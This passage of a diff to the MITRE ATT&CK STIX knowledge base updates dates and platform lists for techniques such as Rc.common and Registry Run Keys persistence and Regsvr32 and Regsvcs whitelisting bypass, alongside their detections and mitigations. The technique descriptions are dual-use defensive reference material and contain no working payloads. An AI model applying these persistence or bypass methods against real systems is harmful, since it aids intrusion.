+                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx"
+                },
+                {
+                    "source_name": "ENSIL AtomBombing Oct 2016",
+                    "description": "Liberman, T. (2016, October 27). ATOMBOMBING: BRAND NEW CODE INJECTION FOR WINDOWS. Retrieved December 8, 2017.",
+                    "url": "https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows"
+                },
+                {
+                    "source_name": "Microsoft Atom Table",
+                    "description": "Microsoft. (n.d.). About Atom Tables. Retrieved December 8, 2017.",
+                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx"
+                },
+                {
+                    "source_name": "FireEye TLS Nov 2017",
+                    "description": "Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved December 18, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html"
+                },
+                {
+                    "source_name": "Datawire Code Injection",
+                    "description": "Turner-Trauring, I. (2017, April 18). \u201cThis will only hurt for a moment\u201d: code injection on Linux and macOS with LD_PRELOAD. Retrieved December 20, 2017.",
+                    "url": "https://www.datawire.io/code-injection-on-linux-and-macos/"
+                },
+                {
+                    "source_name": "Uninformed Needle",
+                    "description": "skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017.",
+                    "url": "http://hick.org/code/skape/papers/needle.txt"
+                },
+                {
+                    "source_name": "Phrack halfdead 1997",
+                    "description": "halflife. (1997, September 1). Shared Library Redirection Techniques. Retrieved December 20, 2017.",
+                    "url": "http://phrack.org/issues/51/8.html"
+                },
+                {
+                    "source_name": "VDSO hijack 2009",
+                    "description": "O'Neill, R. (2009, May). Modern Day ELF Runtime infection via GOT poisoning. Retrieved December 20, 2017.",
+                    "url": "http://vxer.org/lib/vrn00.html"
+                },
+                {
+                    "source_name": "ArtOfMemoryForensics",
+                    "description": "Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017."
+                },
+                {
+                    "source_name": "GNU Acct",
+                    "description": "GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.",
+                    "url": "https://www.gnu.org/software/acct/"
+                },
+                {
+                    "source_name": "RHEL auditd",
+                    "description": "Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.",
+                    "url": "https://access.redhat.com/documentation/red%20hat%20enterprise%20linux/6/html/security%20guide/chap-system%20auditing"
+                },
+                {
+                    "source_name": "Chokepoint preload rootkits",
+                    "description": "stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.",
+                    "url": "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html"
+                },
+                {
+                    "source_name": "Microsoft Sysmon v6 May 2017",
+                    "description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.",
+                    "url": "https://docs.microsoft.com/sysinternals/downloads/sysmon"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_contributors": [
+                "Anastasios Pingios"
+            ],
+            "x_mitre_data_sources": [
+                "API monitoring",
+                "Windows Registry",
+                "File monitoring",
+                "DLL monitoring",
+                "Named Pipes",
+                "Process Monitoring"
+            ],
+            "x_mitre_defense_bypassed": [
+                "Process whitelisting",
+                "Anti-virus"
+            ],
+            "x_mitre_platforms": [
+                "Linux",
+                "macOS",
+                "Windows"
+            ],
+            "x_mitre_effective_permissions": [
+                "User",
+                "Administrator",
+                "SYSTEM",
+                "root"
+            ],
+            "x_mitre_permissions_required": [
+                "User",
+                "Administrator",
+                "SYSTEM",
+                "root"
+            ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--0640214c-95af-4c04-a574-2a1ba6dda00b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Query Registry Mitigation",
             "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information within the Registry, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -9817,9 +10556,9 @@
             "id": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:25.584Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Query Registry",
-            "description": "Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.\n\nThe Registry contains a significant amount of information about the operating system, configuration, software, and security. (Citation: Wikipedia Windows Registry) Some of the information may help adversaries to further their operation within a network.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nInteraction with the Windows Registry may come from the command line using utilities such as Reg or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, Process monitoring, Process command-line parameters\n\nPermissions Required: User, Administrator, SYSTEM",
+            "description": "Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.\n\nThe Registry contains a significant amount of information about the operating system, configuration, software, and security. (Citation: Wikipedia Windows Registry) Some of the information may help adversaries to further their operation within a network.\n\nDetection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nInteraction with the Windows Registry may come from the command line using utilities such as Reg or through running malware that may interact with the Registry through an API. Command-line invocation of utilities used to query the Registry may be detected through process and command-line monitoring. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, Process monitoring, Process command-line parameters\n\nPermissions Required: User, Administrator, SYSTEM",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -9852,26 +10591,15 @@
                 "SYSTEM"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--c3cf2312-3aab-4aaf-86e6-ab3505430482",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Rc.common Mitigation",
             "description": "Limit privileges of user accounts so only authorized users can edit the rc.common file.",
             "external_references": [
@@ -9887,9 +10615,9 @@
             "id": "attack-pattern--18d4ab39-12ed-4a16-9fdb-ae311bba4a0f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Rc.common",
-            "description": "During the boot process, macOS and Linux both execute <code>source /etc/rc.common</code>, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used.\n\nAdversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user (Citation: Methods of Mac Malware Persistence).\n\nDetection: The <code>/etc/rc.common</code> file can be monitored to detect changes from the company policy. Monitor process execution resulting from the rc.common script for unusual or unknown applications or behavior.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring\n\nPermissions Required: root",
+            "description": "During the boot process, macOS and Linux both execute <code>source /etc/rc.common</code>, which is a shell script containing various utility functions. This file also defines routines for processing command-line arguments and for gathering system settings, and is thus recommended to include in the start of Startup Item Scripts (Citation: Startup Items). In macOS and OS X, this is now a deprecated technique in favor of launch agents and launch daemons, but is currently still used.\n\nAdversaries can use the rc.common file as a way to hide code for persistence that will execute on each reboot as the root user (Citation: Methods of Mac Malware Persistence).\n\nDetection: The <code>/etc/rc.common</code> file can be monitored to detect changes from the company policy. Monitor process execution resulting from the rc.common script for unusual or unknown applications or behavior.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process Monitoring\n\nPermissions Required: root",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -9922,8 +10650,7 @@
             ],
             "x_mitre_platforms": [
                 "Linux",
-                "MacOS",
-                "OS X"
+                "macOS"
             ],
             "x_mitre_permissions_required": [
                 "root"
@@ -9933,8 +10660,8 @@
             "type": "course-of-action",
             "id": "course-of-action--61d02387-351a-453e-a575-160a9abc3e04",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Re-opened Applications Mitigation",
             "description": "Holding the Shift key while logging in prevents apps from opening automatically (Citation: Re-Open windows on Mac). This feature can be disabled entirely with the following terminal command: <code>defaults write -g ApplePersistence -bool no</code>.",
             "external_references": [
@@ -9955,9 +10682,9 @@
             "id": "attack-pattern--6a3be63a-64c5-4678-a036-03ff8fc35300",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Re-opened Applications",
-            "description": "Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at <code>~/Library/Preferences/com.apple.loginwindow.plist</code> and <code>~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist</code>. \n\nAn adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).\n\nDetection: Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened.\n\nPlatforms: MacOS, OS X\n\nPermissions Required: User",
+            "description": "Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at <code>~/Library/Preferences/com.apple.loginwindow.plist</code> and <code>~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist</code>. \n\nAn adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).\n\nDetection: Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened.\n\nPlatforms: macOS\n\nPermissions Required: User",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -9979,20 +10706,19 @@
             "object_marking_refs": [
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
+            "x_mitre_platforms": [
+                "macOS"
+            ],
             "x_mitre_permissions_required": [
                 "User"
-            ],
-            "x_mitre_platforms": [
-                "MacOS",
-                "OS X"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--f9b3e5d9-7454-4b7d-bce6-27620e19924e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Redundant Access Mitigation",
             "description": "Identify and block potentially malicious software that may be used as a remote access tool, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
             "external_references": [
@@ -10038,9 +10764,9 @@
             "id": "attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:18.867Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Redundant Access",
-            "description": "Adversaries may use more than one remote access tool with varying command and control protocols as a hedge against detection. If one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary's tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to Valid Accounts to use External Remote Services such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network. (Citation: Mandiant APT1)\n\nUse of a Web Shell is one such way to maintain access to a network through an externally accessible Web server.\n\nDetection: Existing methods of detecting remote access tools are helpful. Backup remote access tools or other access points may not have established command and control channels open during an intrusion, so the volume of data transferred may not be as high as the primary channel unless access is lost.\n\nDetection of tools based on beacon traffic, Command and Control protocol, or adversary infrastructure require prior threat intelligence on tools, IP addresses, and/or domains the adversary may use, along with the ability to detect use at the network boundary. Prior knowledge of indicators of compromise may also help detect adversary tools at the endpoint if tools are available to scan for those indicators.\n\nIf an intrusion is in progress and sufficient endpoint data or decoded command and control traffic is collected, then defenders will likely be able to detect additional tools dropped as the adversary is conducting the operation.\n\nFor alternative access using externally accessible VPNs or remote services, follow detection recommendations under Valid Accounts and External Remote Services to collect account use information.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Process monitoring, Process use of network, Packet capture, Network protocol analysis, File monitoring, Binary file metadata, Authentication logs\n\nDefense Bypassed: Anti-virus, Network intrusion detection system\n\nPermissions Required: User, Administrator, SYSTEM",
+            "description": "Adversaries may use more than one remote access tool with varying command and control protocols as a hedge against detection. If one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary's tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to Valid Accounts to use External Remote Services such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network. (Citation: Mandiant APT1)\n\nUse of a Web Shell is one such way to maintain access to a network through an externally accessible Web server.\n\nDetection: Existing methods of detecting remote access tools are helpful. Backup remote access tools or other access points may not have established command and control channels open during an intrusion, so the volume of data transferred may not be as high as the primary channel unless access is lost.\n\nDetection of tools based on beacon traffic, Command and Control protocol, or adversary infrastructure require prior threat intelligence on tools, IP addresses, and/or domains the adversary may use, along with the ability to detect use at the network boundary. Prior knowledge of indicators of compromise may also help detect adversary tools at the endpoint if tools are available to scan for those indicators.\n\nIf an intrusion is in progress and sufficient endpoint data or decoded command and control traffic is collected, then defenders will likely be able to detect additional tools dropped as the adversary is conducting the operation.\n\nFor alternative access using externally accessible VPNs or remote services, follow detection recommendations under Valid Accounts and External Remote Services to collect account use information.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process monitoring, Process use of network, Packet capture, Network protocol analysis, File monitoring, Binary file metadata, Authentication logs\n\nDefense Bypassed: Anti-virus, Network intrusion detection system\n\nPermissions Required: User, Administrator, SYSTEM",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -10079,35 +10805,23 @@
                 "Anti-virus",
                 "Network intrusion detection system"
             ],
-            "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
-            ],
             "x_mitre_permissions_required": [
                 "User",
                 "Administrator",
                 "SYSTEM"
+            ],
+            "x_mitre_platforms": [
+                "Linux",
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--8b36d944-f274-4d46-9acd-dbba6927ce7a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Registry Run Keys / Start Folder Mitigation",
             "description": "Identify and block potentially malicious software that may be executed through run key or startup folder persistence using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -10148,9 +10862,9 @@
             "id": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:49.988Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Registry Run Keys / Start Folder",
-            "description": "Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) The program will be executed under the context of the user and will have the account's associated permissions level.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.\n\nDetection: Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.\n\nChanges to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Windows Registry, File monitoring\n\nPermissions Required: User, Administrator",
+            "description": "Adding an entry to the \"run keys\" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) The program will be executed under the context of the user and will have the account's associated permissions level.\n\nAdversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.\n\nDetection: Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.\n\nChanges to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nPlatforms: Windows\n\nData Sources: Windows Registry, File monitoring\n\nPermissions Required: User, Administrator",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -10186,26 +10900,15 @@
                 "Administrator"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--a90da496-b460-47e8-92e7-cc36eb00bd9a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Regsvcs/Regasm Mitigation",
             "description": "Regsvcs and Regasm may not be necessary within a given environment. Block execution of Regsvcs.exe and Regasm.exe if they are not required for a given system or network to prevent potential misuess by adversaries.",
             "external_references": [
@@ -10221,9 +10924,9 @@
             "id": "attack-pattern--215190a9-9f02-4e83-bb5f-e0589965a302",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:33.499Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Regsvcs/Regasm",
-            "description": "Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nAdversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass)\n\nDetection: Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Process monitoring, Process command-line parameters\n\nDefense Bypassed: Process whitelisting\n\nPermissions Required: User, Administrator\n\nRemote Support: No\n\nContributors: Casey Smith",
+            "description": "Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)\n\nAdversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass)\n\nDetection: Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, Process command-line parameters\n\nDefense Bypassed: Process whitelisting\n\nPermissions Required: User, Administrator\n\nRemote Support: No\n\nContributors: Casey Smith",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -10272,28 +10975,17 @@
             "x_mitre_defense_bypassed": [
                 "Process whitelisting"
             ],
+            "x_mitre_remote_support": false,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
-            ],
-            "x_mitre_remote_support": false
+                "Windows"
+            ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--12c13879-b7bd-4bc5-8def-aacec386d432",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Regsvr32 Mitigation",
             "description": "Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block regsvr32.exe from being used to bypass whitelisting. (Citation: Secure Host Baseline EMET)",
             "external_references": [
@@ -10314,9 +11006,9 @@
             "id": "attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:26.966Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Regsvr32",
-            "description": "Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)\n\nAdversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.\n\nRegsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: SubTee Regsvr32 Whitelisting Bypass) This variation of the technique has been used in campaigns targeting governments. (Citation: FireEye Regsvr32 Targeting Mongolian Gov)\n\nDetection: Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Loaded DLLs, Process monitoring, Process command-line parameters, Windows Registry\n\nDefense Bypassed: Process whitelisting, Anti-virus\n\nPermissions Required: User, Administrator\n\nRemote Support: No\n\nContributors: Casey Smith",
+            "description": "Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)\n\nAdversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.\n\nRegsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: SubTee Regsvr32 Whitelisting Bypass) This variation of the technique has been used in campaigns targeting governments. (Citation: FireEye Regsvr32 Targeting Mongolian Gov)\n\nDetection: Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the regsvr32.exe invocation may also be useful in determining the origin and purpose of the script or DLL being loaded.\n\nPlatforms: Windows\n\nData Sources: Loaded DLLs, Process monitoring, Process command-line parameters, Windows Registry\n\nDefense Bypassed: Process whitelisting, Anti-virus\n\nPermissions Required: User, Administrator\n\nRemote Support: No\n\nContributors: Casey Smith",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -10360,38 +11052,27 @@
                 "Process command-line parameters",
                 "Windows Registry"
             ],
-            "x_mitre_defense_bypassed": [
-                "Process whitelisting",
-                "Anti-virus"
-            ],
             "x_mitre_permissions_required": [
                 "User",
                 "Administrator"
             ],
-            "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
